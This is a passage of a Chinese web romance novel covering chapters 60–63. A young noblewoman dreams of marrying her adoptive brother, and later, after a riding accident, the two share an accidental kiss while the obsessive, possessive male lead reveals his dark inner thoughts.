阖起眼,不肖一会儿,困意席卷,姬时语便沉沉入了梦。
好困呐。
意识模糊起来,眼前忽的一晃,落了白茫茫一片。
她梦见去哪了?
只见闺房之中的那柄海棠花屏风晃动了两下,姬时语再一眨眼,海棠花蕊竟活了起来,化作了两个笑吟吟的花蕊仙子。
两人一左一右,哼笑道:“是新娘子的新婚之夜咯。”
环顾四周,姬时语满目大红。
内室红绸满天,屏风之上的仙子红衣轻纱,书案之上还有两只龙凤蜡烛点点燃烧。
低头再一瞧,她衣着一袭大红嫁衣,正端坐在这喜房之中。
衣袖金线纷飞,触手一碰,全然不似梦境,宛如身临其境。
牡丹花映红了她的双眼。
姬时语惊呆了。
她怎么成新嫁娘了?
屋外突然有人喊道:“新郎官来了!”
姬时语几乎是下意识地,慌忙着急地去翻找她的红盖头。
好不容易在床头揪了出来,手忙脚乱地一把盖在头上。
门吱呀地便被推开了。
恍惚间,姬时语回过神来。
不对啊,她着急戴红盖头做什么?
这不是做梦吗!
脚步声渐渐走到了她的身前,姬时语一颗心提到了喉咙眼,她是坐立难安,紧张的不行。
梦见她大婚已很荒唐了,可是,还真来了个新郎官。
新郎会是谁啊?
姬时语想不出来。
这时红盖头被一只手徐徐掀开,一张俊美无俦的脸赫然显露,那双狐狸眼十足温情,荡着缱绻的情意。
来人竟然是她的哥哥,江曜!
江曜牵起她的手,眼睑微垂,狐狸眼一眨一眨,像一把小勾子,勾得她心口怦怦跳。
“阿锁。”
江曜垂头,右手捧起她脸,少年凉薄的唇瓣轻轻含住了她的。
他吻上了她的唇,只是先轻啄两下,复而抿住,姬时语察觉唇上的力道渐渐加重了。
“阿锁,张开嘴,嗯?”
他勾着她,缠绵着不松口,唇齿间溢出的笑声低沉。
甜腻的香气登时纠缠在了一起。
江曜身上的气味太好闻,加之腰肢被托着抬高了一点儿,姬时语被勾着朝他怀里倾倒。
她差点沉沦。
江曜还想这么贴着,温温柔柔的亲她,她也有点……舍不得了,想被他再多亲吻几下。
姬时语口齿不清喊他:“哥哥……”
一双手便情不自禁挂上了他的脖子,放任他加深了这个吻。
“娘子,良辰吉时,我们该入洞房了。”
姬时语恍然惊醒,她霎时翻身坐起,后背已是出了一身冷汗。
“老天爷啊!”
惊魂未定,脑子里回荡着的还是江曜一袭红衣,无边绮丽,俊美得如仙人下凡。
她才知道,云让哥哥穿红色,竟是美到令人窒息。
不对!
她怎么梦见她和江曜大婚了?
姬时语猛地拍打了两下脸蛋,莹白脸蛋微微红,她抱着头埋入膝盖,羞恼地呜咽出声。
疯了吧!
罪过啊,她定是被身边人逼疯了。
先有沈安乐定亲成婚,再来姐姐和薛淮璋打得火热,怕是离定亲也不远了 。
大皇子江承运还有二皇子江承德,都为了忠义侯府的势力,试探求娶于她。
八成日有所思,夜有所想,梦里她便入到了大婚之日。
姬时语想,莫非是春日将近,她真该给自己寻个夫君了?
可是她怎么梦到江曜的?
一定是身边离她最近之人,就是江曜,除开他,她也无相识的外男可入梦了。
姬时语幽幽叹口气,禁不住抱着自己呜咽。
“阿锁?”
少年清冷的声音霎时灌入耳中,姬时语吓得慌乱极了,她脸红未褪,羞怯难当,直喊:“不要!”
可晚了一步,江曜已是入了内室。
今日的江曜墨袍加身,身段挺拔,那张脸还是冷面玉色,不带梦里的一丝靡离。
望见江曜,姬时语还是不免想起不该回想之事。
梦里她被江曜亲了好久,她还主动探了舌头,朝他不住撒娇索吻。
他便温柔纵着她亲,揽住她腰肢轻笑,任她骑上他的腰,想亲多久亲多久。
若非两人已是到了入洞房的时刻,她甚至不愿分开。
而她梦里的新郎官竟然在梦外,再度出现。
可恶,偏不想见江曜的时候,他跑来了!
“你这人怎得这样?都说了让你不要了!”
一只绣花枕头砸向了江曜,少年接住,便见小姑娘缩在床角,颈部染红,双耳瑟瑟颤抖,跟个双眼通红的小兔子似的环抱着自己。
那张粉面靥生娇羞,她话音尾调似挑了勾,姬时语都未听出自己是在娇嗔。
江曜一下便绷紧了。【你现在阅读的是 】
60-70
第61章
“出什么事了?”
江曜接下绣花枕头,径直便走来一步,他深色眼凝视过来,看得姬时语又是猛地缩了脚趾。
姬时语朝他喊:“不要过来!”
江曜立在原地没动了。
姬时语飞快偷瞄了一眼少年的薄唇,他的嘴唇色泽浅淡,却不如人那般冷硬。
像在梦中,她亲上去的时候,是冰冰凉凉的触感,还有些许温热的、散不去的热气。
特别好亲的样子。
太真实了。
姬时语不自觉就又起了欲念,想着江曜的唇究竟是不是冰凉好咬的滋味。
不对,不对,她在想什么?
姬时语咬住唇瓣,一张玉色小脸纠结几许,变来变去,后她深深呼吸一口气,爬起来便一股脑从江曜手里夺回了枕头。
江曜见小姑娘耳尖红红,心知她又是害羞上了,他眼里染了笑意。
他的阿锁,一大早便这样惹人疼爱。
那头姬时语抱着花枕头,扭扭捏捏背过了身子,她不愿面对着他,江曜便看不见她脸面,只是能听出她的声音还软软吊着音,像没睡醒。
“我要更衣了。”
“那我出去等。”
江曜抬脚离了屋。
姬时语听得脚步声是远了才回身,见少年已无踪迹,她大松口气,复而坐下拍拍脸蛋,想拍醒自己几分。
“姬时语,你疯了吧,那可是你的云让哥哥,你怎么能生出非分之想?”
姬时语告诫了自己好几句,心中更多的旖念微微压下,昨夜梦境甩到了后脑勺。
她不可再胡思乱想了。
萍亭端来温水给自家姑娘梳洗擦脸,又笑说起来:“江公子每日都来寻小姐,又耐心又体贴的,瞧着便是个好儿郎,也不知日后会迎娶什么样的姑娘。”
姬时语:“……”
她都不想谈及任何与婚嫁相干之事了,可架不住周遭身边人已是谈婚论嫁的年龄。
“哥哥这样好,又得陛下器重,保不准会受赐婚呢?”
说完这一句,不知为何,姬时语心中生出一股刺挠感,像有些抗拒去细想江曜也会成亲生子似的。
那股异样之感和梦有关。
昨日那个大婚之梦还未散干净,莫不是她还真把自己带去梦中了,总想着是江曜背了自己红杏出墙,去娶他人了?
想什么呢?
姬时语叹了口气,她真是魔怔了。
萍亭说了许多,还道舒氏择的几家好女,画像可全送去了思芳院。
在择婚事上头,舒氏很是尊重江曜的心意。
烦躁之意再度涌上心头,姬时语想,江曜从未跟她说过这些。
她甚至不知道舒氏已找江曜谈过话,谈过要给他相看姑娘。
江曜不告诉她,是不想她插手他的私事吗?
可他又说自己不想考虑成家。
那为何又不回绝了她娘?
姬时语心里头乱糟糟的。
若是江曜主动说了,他有意成家立业,寻个正房夫人,姬时语保准为他物色人选。
但那一日姬时语问起来,江曜说的是他暂且不要。
姬时语便信以为真。
她不喜欢被人隐瞒,还有几分受了欺骗的意味。
尤其是,这个人还是她很信赖的江曜,她的云让哥哥。
“好了,不说他了,他的婚事让他自个儿愁去。”
姬时语不愿意听萍亭再说,是越想越烦,“我娘为他找还不够,莫非还要我亲自去挑个嫂嫂?”
萍亭诧异自家姑娘恼火,忙解释道:“小姐,奴婢不是这个意思。”
姬时语不吭声了。
萍柳看出姬时语心情不佳,道:“小姐为江公子考虑的已是够多了,这些年您从未亏待过他,他对你好是应该的。”
萍亭看向萍柳。
“婚事这种事,咱们小姐也到了年纪,还得多想想自己呢?”
萍柳领会了意思:“奴婢和萍亭可等着小姐的姑爷了。”
萍亭霎时笑道:“是啊小姐,奴婢和萍柳还要陪着您,给您带小主子。”
“好啊,你们都打趣我!”
姬时语被两个丫鬟说的,一下忘却了先前的烦恼,什么大婚不大婚了,还有姑爷和小主子,想着不会太早了点吧?
但再转念一想,姬时语蹙起了眉头。
她都且自身难保,婚事一事多了暗潮汹涌。
如何摆脱皇室的虎视眈眈,她还得好好琢磨一番。
“奴婢是觉得,以咱们小姐在侯府受宠来看,有侯爷、夫人、大小姐和江公子护着,日后定会找到一个样样都好的姑爷,嫁去享福。”
萍柳不忘安慰:“侯府不会让小姐委屈的。”
萍亭点头应:“夫人说过,宁肯那人家不那么富贵,也不要小姐被磋磨。”
姬时语摇头:“你们啊,还真是想的比我还多。”
萍柳和萍亭互看一眼,两人皆作笑开了。
正说着,屋外有人而来,姐姐姬合英的笑声先行闯入。
姬合英扬声喊:“阿锁。”
“姐姐?”
姬合英走来内室,姬时语一回头,见姐姐今日着一身干练劲装,身子高挑,她双眼直发亮。
“阿锁,换一身衣裳,今日我们去骑马兜风。”姬合英给了萍柳一个眼神。
萍柳得了吩咐重新去翻找衣物,姬时语看萍柳身影而出,疑惑问:“我也要去吗?”
“是。”
姬合英抱拳咳了一声。
姬时语恍然大悟,笑个不停,问她:“姐姐,可是薛淮璋又来约见你了?”
“嗯,是他。”
姬合英有些不自在,迎面是亲妹妹的笑眼,她扭头说:“阿锁不是说过好几回想骑马踏青?虽说这会儿不是春日,但出府一玩还是可以的……”
“好啊,那我要去!”
姬时语一口应了。
小姑娘本就贪玩,这十五年她出府可不过尔尔,如萍亭萍柳所说,她都已到了成婚的年龄,可姬时语还觉着没玩够呢。
姬时语还不想成亲。
听姬合英说今日新入了几匹小母马可骑,最适合姬时语这等不会骑马的雏鸟了,她乐得喜不胜收。
萍柳和萍亭给姬时语换上一身骑马装,发尾系好绑起,姬合英看后挑了挑眉。
很少见姬时语穿劲装,娇美的姑娘添了干劲,是真有几分飒爽之姿。
“阿锁还真有几分我的样子了。”
“姐姐,走吧。”
去往西郊马场的路上,江曜亦是作陪,他没上马车,而是骑着棕色大马跟在车架之边。
姬时语挑了车帘看少年的背影,嘟哝着问姬合英,“姐姐,我要学多久才能和江云让这般啊?”
“难了。”
姬合英抱臂靠在车厢,“不学个三年五年的,还想骑马上战场?”
姬时语讪讪一笑,“我只是那么一说。”
西郊马场,姬时语姐妹俩到时,薛淮璋已将诸事打点好了。
他领着一行人去往马厩,好马皆被放出,几个人只管选马匹即可。
姬合英不挑马,在场四人唯有姬时语不会骑,她上不得烈马,最好还是骑小点的马。
“阿锁,你自己挑还是我来?”姬合英问。
姬时语沉吟回:“姐姐,还是你来吧,我不会挑,不知道哪种马好。”
姬合英便要走去小母马那面。
“大小姐,小母马可是个头太小了?”
江曜沉声落了下来,“阿锁虽是初学,可她身量不小,马匹小了恐怕承受不住。”
薛淮璋轻道:“听说这些小母马是为十岁孩童备着的。”
这五年已过,姬时语亦是抽条许多。
如今的她只比姬合英矮半个头,算不得娇小玲珑,加之又长了肉,身段前后皆丰韵了些许,并非干瘪瘦巴,确实不似孩童那般了。
姬时语已是个及笄姑娘。
姬合英犯了难,“小母马才温顺,马匹大了性子难训,我怕阿锁受伤。”
“就选这一匹吧。”
江曜径直去到马厩的一处,那里系着一只正吃草的白马。
姬合英瞧了瞧,这只马应是母马,个头较马厩大马的小了许多。
“这个还不错,瞧着很温顺。”姬合英笑应。
江曜将白马牵出,姬合英伸手去接,还说:“那就我来教阿锁骑马。”
然而江曜握着缰绳的手一紧,他绕开了姬合英,少年兀自牵着马去找了姬时语。
姬合英气结,这意思她岂会不懂?
果然就听江曜说:“大小姐,我来吧,我会护着她。”
姬合英真想不通了。
五年前,江曜这小子便和她这个姬时语的亲姐姐争上争下,五年之后只比之前更甚。
她总觉得江曜对妹妹心思不纯,却又不乐意径直挑明告知小姑娘,她还吃味呢,不想轻易地将妹妹交给江曜。
偏江曜霸道的劲儿拦也拦不住。
姬合英还想多说,可那面姬时语已是扑到了江曜身侧,玩得不亦乐乎。
薛淮璋牵着马走来,喊道:“合英。”
姬合英揉揉发,“……”
得,她的妹妹心思早去别的地儿了。
姬合英便也去挑了一匹马,薛淮璋在旁轻声说道:“合英,我扶你上马吧。”
谁料姬合英已是一个利落翻身上马,只留给薛淮璋一记衣角。
端坐马上,姬合英俯视他,问:“方才你说什么?”
薛淮璋:“……”
爱慕的姑娘如斯强大,好似没他什么事儿了一样。
一行人相继入了马场,江曜要教姬时语,便牵了两匹,他将白马带来,先让姬时语同它亲近亲近。
姬时语好奇地围着白马兜圈打量,小姑娘伸手想摸摸马身皮毛,可霎时白马甩了头,她吓得以为马匹受了惊,紧张地收手。
江曜说道:“不要怕,我牵着在。”
“好呀。”
姬时语欢喜雀跃地大胆上手抚摸了几下白马的脑袋。
这只白马的性子果真是极好,不一会儿便亲热地回蹭了姬时语的手心。
“她一看就是个好马儿。”姬时语被逗得咯咯直笑,“我今日可要靠你啦,你要乖一点啊。”
江曜在旁听的不是滋味。
这话怎么有几分耳熟。
好像当初他被姬时语带回府的时候,她说了一样的话。
第62章
姬时语用柔软的手背蹭蹭白马,小姑娘还未上马,便已自顾自的玩闹。
江曜想着她这性子不知说什么好,任何事、任何地方,姬时语好似都能寻到让自己开怀的法子。
无忧无虑的。
还真是天性使然。
就很好。
江曜开口问道:“可要上马?”
“好呀。”
姬时语眨巴着亮晶晶的眼,由着江曜搀扶她的腰,将她送上马匹。
第一回上马,当真稀罕又新奇。
江曜在前牵着马缓步走着,姬时语端坐马上四处眺望,不一会儿她便瞥见马场之外草坡之上飞驰的姐姐姬合英。
“是姐姐和薛淮璋!”
姬合英策马飞奔,好不畅快,而薛淮璋在后头追赶,忙得满头大汗,却怎么也追不上。
姬时语看着两人,哈哈大笑:“难为薛淮璋了,一介文人陪着我姐姐纵马,他能吃得消吗?”
江曜望着草坡飞驰的二人,若有所思。
待纵马来到草坡山顶,姬合英拉了缰绳,有意等薛淮璋追赶。
匆匆而来的薛淮璋满脸通红,是累得不行。
姬合英回看他便笑:“你还不是很行啊,薛淮璋。”
薛淮璋窘迫道:“是比不过合英你。”
“不过今日很谢谢你,我心情畅快多了,京城烦扰太多,待得久了,就会想起诸多不快的事。”姬合英袒露了心声。
薛淮璋以为两人又进了一步,扬笑道:“合英还是更喜欢岭西吧?”
“是!”
“合英,那就随你心走。”
亲眼所见姬合英飞扬的大笑,薛淮璋的心口砰砰直跳。
他从未想过自己会有朝一日会因一道高马尾、欢快纵马的女子,魂牵梦绕。
为此,薛淮璋甘愿舍弃京城的繁华。
“我也想去岭西。”薛淮璋直面了内心。
他说给了姬合英听。
“我愿意陪你一起去。”
听得薛淮璋这句话,姬合英瞪目结舌,她刚要翻身要下马,可就是一个晃神,马匹不知怎么受了惊,双腿扬起,嘶鸣长哮。
姬合英没抓稳,一头从马身之上翻滚栽下。
姬时语还在望草坡那面,见姐姐滚落,放声惊呼。
“姐姐!”
“合英!”
薛淮璋顾不上自己,跳下马飞身一个大扑过去,脸皮贴着草地,堪堪撞上姬合英的身体。
他的脸着了地,火辣辣的疼。
侧脸血肉模糊一片,疼得薛淮璋直呲牙。
好在是把姬合英给接住了。
薛淮璋紧张搀扶姬合英,担心的不行,“没事吧?”
“你……”
姬合英一抬头,薛淮璋半张侧脸已被血色浸透,草坡石子尖锐,猛然磕上,全化作了利刃。
还是为了护她。
姬合英胸口鼓囊,她眼里润了点,“傻不傻?我摔下来不会多疼的。”
“你才傻,哪有人不会疼的。”
薛淮璋将姬合英扶起来,没管自己的伤,反而给姬合英抚平衣角。
他认认真真说:“就算你是战场之上英勇的女将军,在我心里,你也是个姑娘。”
“我还是姑娘呢,都是二十多岁的老姑娘了。”姬合英自嘲。
“不是。”
薛淮璋还想说,可直起身,又被满脸划痕疼着了,龇牙咧嘴的。
他满脸血淋淋,连带衣袍也被染红。
姬合英哪里见得他这样,说不心疼是不可能的,旋即抓了他手便飞快往草坡下头跑去。
“合英,你心疼我了。”
“谁心疼你了?真没见过比你还要傻的!”
薛淮璋被她牵着,只顾得傻乎乎笑。
姬时语见到两人滚做一团,薛淮璋以身护住了她姐姐,一颗惴惴不安的心方才落了回去。
但再一见薛淮璋半张血脸,姬时语蹙眉问:“薛淮璋不会有事吧?”
“有你姐姐陪着,他不会有事。”
江曜可是看得清楚,薛淮璋被姬合英牵住,笑得像百花朵朵开,他扭头冷哼,轻轻拉扯了一番缰绳。
“可还要学?”
马匹之上的姑娘蔫巴巴的,姬时语还在担忧着姐姐,听得这话,她那双明亮的眼随即睨了眼江曜,又飞快挪开了。
姬时语低声道:“要的吧。”
今日出府,她都还未骑马玩耍呢。
江曜看她神情低落,沉思片刻,后道:“我带你去草坡一转吧。”
“可那不是得会骑马了才能去?”
“我们共乘,我骑马带着你。”
江曜抬首,一双狐狸眼直勾勾的,姬时语被他灼灼的盯着,下意识耳热飞快偏了头。
她打心底的,此刻不想要和少年太
过亲密。
秋日微风轻拂,好半晌江曜也没等到姬时语的应。
姬时语不知道在想什么,眉间苦恼的很,朱唇蠕动了几回没能张开口。
江曜等的没了耐心,身后却突然有人喊了两人。
“五小姐,明威小将军。”
姬时语瞥眼,两位少女骑马而来,是她不识得的姑娘。
在前的那位少女骑着棕马神色淡淡,眼波平静,而后头的一位笑容绚烂,一张人间富贵花似的脸颊,落着四五颗小痣。
四五颗小痣?
姬时语突然感觉这姑娘有些眼熟了。
舒氏给她的画像,在那些有意与江曜议亲的姑娘之中,好像就有这么一位。
柳瑾柔主动上前来,“我们是太傅家的女儿,我是柳瑾柔,这是我大姐柳瑾瑜。”
太傅府柳家,是柳贵妃的母族,这两位姑娘竟都是柳贵妃的侄女。
柳瑾瑜为嫡出之身,而柳家送来给江曜议亲的,是太傅府的庶女柳瑾柔。
姬时语笑应:“原是太傅府的姐姐们。”
太傅府大小姐柳瑾瑜并不热络,她只和姬时语点点头。
而柳瑾柔则倾身下了马,眼尾流转之间,温柔明媚的笑直睇给了江曜。
江曜的狐狸眼阴冷,冷眼旁观,并不说话。
柳瑾柔惊叹少年容貌绝色,走得近看得越清楚,她的脸颊悄悄红润,轻缓的,她来到江曜身边。
“早听闻明威将军英勇无双,不知今日可否见识一番你的风采?”
姬时语恍然,柳瑾柔看上她的云让哥哥了,想邀人纵马一番呢。
江曜毫不犹豫回:“我没空。”
柳瑾柔的笑一凝。
“两位姐姐今日怎么来的马场?”
眼看柳家姑娘脸皮挂不住,如花脸面抖动,姬时语赶忙接过了话,“京中会骑马的姑娘不多,我瞧你们马术像是极好的。”
“我和姐姐自小便学过一些,虽不如江小将军和姬大小姐那般精通,可平日骑骑马游玩是可以的。”
柳瑾柔投来感激一笑,她挑着眼向江曜轻笑,“小将军是教五小姐学骑马吗?京城都传你很是疼宠妹妹,如今一看,还真是。”
“我很疼宠阿锁?”
“是啊,小将军是五小姐很好的兄长呢,你待妹如此,待旁人应也是吧?”
柳瑾柔离得近,说话间,她伸出手攀上了江曜所牵着的白马。
“小将军可否也教教我们?”
柳瑾柔含着羞,手这么一滑落,眼瞅着便要去抓江曜的衣角。
姬时语看不下去了,提声道:“我先去骑会儿马,你们说着。”
小姑娘拽了缰绳,从江曜手中抽了出来。
少年迅速回头,马匹之上的小人儿佯装灿笑,姬时语又扬手摆摆。
只是一刹,姬时语头也不回地调转马头,走了。
没管柳瑾柔是牵上了少年还是没牵上。
姬时语很烦,特别烦。
前脚太傅家的姑娘才和她说,自己儿时便学过骑马,后脚柳瑾柔便去拉扯江曜,要他教自己。
她是何意?
柳瑾柔就是故意的。
看着两人离得那样近,八成是牵上了。
姬时语心头烦躁躁的乱。
她知道自己不想看江曜身旁有了别的姑娘。
也许是从前拉着江曜衣角的是她,不管委屈时、想哭泣时还是想要欢笑,她都爱牵着江曜的衣袖,同他撒娇,蹦蹦跳跳。
哥哥也不会恼,待她又温柔。
可这些事,她以后都做不得了。
姬时语受不住被人满心温柔的对待,日子久了,她会眷恋。
萍亭说过,她习惯了被娇宠着,若有一日哥哥不再待她这样温柔了,她一定很难过、痛苦。
看见柳瑾柔献殷勤的刹那,姬时语突然懂得,若是江曜娶妻,他的身边再没了她的位子。
想到这一点,姬时语委屈的念头又涌上来了。
姐姐和薛淮璋一块走了,她为姐姐觅得好郎君而高兴,可姐妹俩的相处是愈发的少。
她已是失去了姐姐的怀抱,现如今,江曜也要同别的姐姐走了。
往后她身边又是空无一人。
五年前,他们去岭西,抛下过她一回。
回来才多久啊?
就又要抛下她了。
为什么每回都要这么对她呢?
姬时语抹了把眼角溢出来的泪珠,咬了咬唇瓣,努力憋着心底的难受。
她才不要哭呢,这时候哭出来也太没用了。
可是越是想不哭,那股委屈劲儿就怎么也止不住。
啪嗒啪嗒。
泪珠跟断了线的珠串,一眨巴眼睛,全都落了下来。
“呜呜……”
姬时语根本捂不住眼睛,也止不住泪,咬住唇,委屈尽数化作了无声的抽泣。
她是个倔强的性子,哭出来一下子又觉着好丢人。
慌乱抬起手她不住的抹脸,一抹,手背全然是湿漉漉的一片水渍。
她已是及笄了,又不是十岁的孩子了,哭哭啼啼让旁人看见还不是笑话她?
姬时语强忍泪意,手中缰绳攥的更紧,她大喊了一声:“架!”
白马纵身狂奔,狂风猎猎,打在姬时语两耳之边,风吹过,畅然之意在心口迅速蔓延。
吹散了那些个烦躁的念头。
原来纵马是这样的快活!
莫怪姐姐喜欢骑马呢。
姬时语越跑越快,她还在享受着欢愉的凉风,谁料前头突而出现一个山坡急转而下,她刹不住马,更拉不住缰绳。
白马顿时失了控。
“不要啊……”
姬时语的脸都白了。
后悔之意瞬间涌上心头,她不该擅自纵马的,就应该让江曜带着她骑。
“救……啊!”
马身后仰,姬时语被大力甩飞了出去,天旋地转,她听见一道嘶吼。
“阿锁——”
姬时语吓得闭上眼,等待坠落的疼痛。
身子猛然着了地,后背却蓦地撞上一人,她没有落在地上,反将身后之人撞得闷哼。
她被江曜接住了。
江曜径直磕在了地上,疼得大喘气。
“云让哥哥……”
少年被撞的不轻,胸膛嗡嗡的痛,倒躺着直不起身。
姬时语吓坏了,她赶紧爬起来,想看江曜可还好。
“哥哥,你,你别吓我。”
江曜睁开眼时,姬时语呆呆傻傻的坐在旁边,她惊慌未散,双手攀着他胸膛,一双眼蒙上了水雾,红红的。
他一个起身,握住了她的手,想要安慰她,“我没事,倒是你……嘶。”
“你真的没事吗?”
姬时语忙扶住他肩膀,声色满是愧疚,“我知错了,我不该莽撞冒失的……”
“阿锁,你真是吓死我了。”
江曜一把将人紧紧摁住怀里。
他一只手握住姬时语的腰,一只手抚在她的后脑勺,双手之下,禁锢着她狠狠用了力,是要把她整个人牢牢掌控于手中。
好像只有这样,才感知到姬时语重回了他的身边。
天知道看见姬时语从马身跌落,他是多么害怕。
那样飞快的疾驰滚下,轻则重伤,重则殒命。
他还能克制杀念,无非是小姑娘不喜欢他杀人,他便强行忍耐着。
若她有事,他真的会杀掉所有人,再杀了自己。
江曜的狐狸眼睁开又闭上,合起了染红的血色,他沉沉开了口,“不要再吓我了,阿锁。”
“我没有,我只是、我只是听说柳姐姐想骑马,就不想打搅你们。”
“提她做什么?”
“她想要你作陪。”
“她想要你便走?我说了我只教你,她一介外人,又算什么?”
“我……是我错了。”
姬时语低低垂首,一双水眸微红。
咬住唇瓣她几度想道歉,可喉咙好似被堵住了,难受的很。
若非柳瑾柔的出现,她不会恼怒冲昏了头,还害得江曜跟着受伤,是她太耍小性子了。
自责之下,她懊悔不已,抬手便去拨弄江曜的衣襟,想要翻开襟口查看他的伤势。
“哥哥,你让我看看,伤的重不重。”
“别看了。”
姬时语的小手刚抓上去,便被江曜捉了指尖。
“不要动了。”
姬时语在他怀中扭着乱动,江曜声音顿时沙哑,一双狐狸眼染得暗色无边。
他双手捧住了姬时语的脸,强横地止住她继续作乱的动作。
“不,你让我……”
姬时语不情愿反驳,她闷哼并不听话,恰好江曜垂首。
一抬头,她柔软的红唇无意间碰上了江曜微凉的唇。
娇嫩软甜,
和冰凉微硬。
两个人嘴唇相贴,齐齐是愣住了。
离得不过咫尺,他们的呼吸像是一个人的。
第63章
少年的唇形刻薄且冷硬,但亲起来却不似想的那般,十分柔软好亲。
姬时语回想起梦中的一幕,冰冰凉凉,贴着他的唇不禁一颤。
差一点便伸了舌头。
江曜的眼眸瞬间黑沉阴暗,箍着她腰肢的手腕收紧,唇上的力道随之加重。
他在吻她。
“哥哥!”
姬时语的脖子梗住了,不光头颅僵硬,连身子也跟着如被磐石定住,动不了。
不,她怎么亲上去的?
她怎么就亲江曜了?
缓慢地,姬时语扭动了下脖颈,而后飞快挪开了嘴唇。
日光之下她莹白柔软的脸蛋似融入细碎微光,隐隐透出几分红晕。
心跳声如擂鼓,她面红耳赤,不敢直视江曜。
“我方才……”
姬时语垂首,不敢抬起一分,干巴巴脸红道:“这,这是无意之举,哥哥,你别上心。”
头顶来自少年的视线却更灼热了些,令姬时语一时难安极了。
解释好像很多余,像是她故意为之还要掩饰自己的别有用心似的。
“我不管了,云让哥哥,你先回去看伤。”
姬时语羞恼之下,也不顾自己粉面滚烫,咬牙拽住江曜的手腕,拉着他便走,“刚撞的不轻,我想你后背定是青紫了。”
“等会儿。”
江曜却反手捉住了她,一下便将人扯住。
秋风吹拂,姬时语乌发如云,今日束起了马尾,显得她很是干练。
可经一遭折腾,几缕发丝顽皮地落下了耳边,一荡开便被江曜抓在了手心。
微凉的指尖轻划过她柔软发热的脸蛋,姬时语的心怦怦乱跳,此刻更不敢回头看少年是何种神情。
她觉着自己又不对劲起来了。
这样心跳飞快的感觉,便好似自己心悸之症复发,像旧病还未痊愈似的。
莫非她又要看病了!
姬时语顿感不好。
她张口就喊,心急又慌的很,“哥哥……”
“嗯?”
江曜不咸不淡地应她,姬时语眼尾流露的忐忑他看在眼中,见她急,他偏不走。
心里起了顽劣的心思。
想多欺负她一点。
小姑娘侧着身子,就是不直面正视于他。
左侧的小巧耳朵在光下泛着微红玉色,恰好在这时映入他的眼。
江曜笑了,抬手便抚摸她的耳朵。
姬时语生了痒,作势要躲开他手,奈何江曜扣住了她柔软的腰肢,拇指轻轻捏上了她的耳垂。
只是一记摁压揉搓,那抹微红变得扉靡,小姑娘脸红,耳朵也红扑扑,是浑身羞得红透了。
姬时语在他怀中抬眼,气鼓鼓地怒视他,“你做什么要这么欺负我呀?摸着我耳朵不舒服。”
“谁让阿锁很好欺负的?”
“我可一点也不好玩,你不要总想着欺负我啊。”
“就想欺负你,怎么办呢,阿锁?”
姬时语又不看他了。
“你要推开哥哥吗?”
江曜循循善诱地骗她:“把我狠狠推开再痛骂一顿,说我不要脸,不堪为你兄长。你要对我做下这样冷漠无情之事,阿锁忍心吗?”
他早拿捏准了姬时语有多心软,是定做不出这等事的。
只要他放的很乖,温温柔柔地黏着她,她是连他日夜纠缠也会纵容。
果然,姬时语咬着唇瓣,眼睫打着颤,不吭声了。
江曜弯下头,凑到了她耳边,他温顺地贴了过去。
一股干净的气息打在姬时语的耳垂之上,他又呼了一口气,明明是凉爽的风,可白玉似的小耳垂颤了又颤,红得能滴血。
她太可爱了,想一口吃掉。
江曜的嗓子低低发出了笑声。
姬时语被他惹得羞恼的厉害,尤其是听到这一声笑,她再也无法忍受。
“你别太过分了,把我欺负狠了,我会以牙还牙的。”
“嗯,那阿锁要怎么还我呢?打我还是骂我?”
江曜竟生出几分兴奋之意,“来,阿锁,哥哥不动,任你左右,好不好?”
他越是这样,姬时语越觉着少年是视若无恐地挑衅自己,真是给小姑娘气坏了。
跟个暴躁小兔子似的,她抓了江曜的手背便是狠狠一咬。
一道赫然的牙印落在了少年骨节分明的手上,明晃晃的,惹人眼。
“疼不疼?”姬时语傲然看他。
江曜道:“疼。”
“你知道疼就好。”
姬时语哼哼两声,举着他的手背显摆牙印,威胁他道:“这只是最轻的,你莫要逼我发狠,那样就不止是咬你的手了,我还要咬你脸,咬上你全身!”
“阿锁要咬遍我全身?”
江曜举起手腕,他垂眸目光落于咬痕,一抹阴暗的愉悦瞬间笼罩了他全身上下。
他的身体每一处,如若都能被她那张娇嫩小嘴咬上、吻遍,打上她的印记,让他完完全全属于她。
那该多美啊。
等到阿锁咬完,他再去享受她的味道。
做以同样之事,咬遍她的全身,哪一处也不放过。
听她哭着求他不要了,在他怀中由白染粉,美的不可方物。
啊,他可太期待了。
不知为何,姬时语只觉得周身好似冷了许多。
紧盯着她的少年化作了蛰伏已久的毒蛇,一双阴冷竖瞳亮起,灼热非常。
听完她的话,是比从前哪一刻都要亢奋雀跃。
她不会是说错了话,惹了少年的禁忌吧?
姬时语被他墨色晦涩的狐狸眼凝望着,头皮隐隐发麻,她改口道:“我说的是玩笑话,做不得真。”
“那不行,阿锁说过的话,我都会信以为真。”
江曜紧揽住了她,手腕狠狠用了力,五根手指掐入姬时语腰间的软肉,他低声蛊惑道:“阿锁说过的,要咬满哥哥的身,你不能食言啊。”
“这……我说的是真咬你啊!”
“嗯,让你咬。”
“你这什么毛病?竟还喜欢让人咬的?”
姬时语说不出话了。
她猜想可是江曜没让人咬着欺负过,平白便想从她这里得到一回被咬的滋味。
江曜不语,阴郁的狐狸眼盯着她。
姬时语被看得又是一缩脖子,她埋在江曜胸口,不愿抬头,喏喏问:“那我食言了怎么办?”
“食言了……”
江曜的大手摸上姬时语的后脖颈,他抚摸的轻轻,却带起一片鸡皮疙瘩,他低笑了一声。
“我会千百倍的欺负你。”
敢抛弃他,他就杀了她,一起去死啊。
江曜只说了欺负,姬时语还是打了个颤。
回过神后,姬时语抓过来江曜的另一只手,愤恨地又是一口咬下去。
“江云让,你别太嚣张了,我真的会生气的。”
小姑娘牙齿还挺尖,给他另一只手也咬了一道牙印。
这便是她的还牙,如此之快。
江曜被她咬了两口,也不恼,反而笑得欢。
“阿锁,真乖。”
“我要回了,不同你闹了。”
姬时语觉着笑起来的少年好讨厌,她推了他一把,闷气还未散呢,才不要给他继续欺负。
她摆了手要走。
姬时语理了理凌乱的发丝,从江曜的怀里钻出。
只是刚迈开一步,脚腕登时发了软,整个人便往前坠落。
还好江曜就在跟前,长臂一伸,又将她揽回了怀抱。
“呃,嘿嘿,我腿软了,走不动路了。”
姬时语谢过江曜,想扶着他手臂尝试站稳,但脚下未站定,江曜已是一个揽身,手臂从她腿弯穿过,抱了起来。
“啊!等下,你的伤……”
姬时语还在忧恐江曜胸膛受伤,她想下来又不敢乱扑通,万一给他弄得更疼。
江曜瞥她,“走不了路便乖一点,别想有的没的。”
“人家还不是关心你。”
姬时语凝着少年紧绷的下巴,又冷又硬的,她哼道:“哥哥,太不解风情的话,是会被姑娘家讨厌的。”
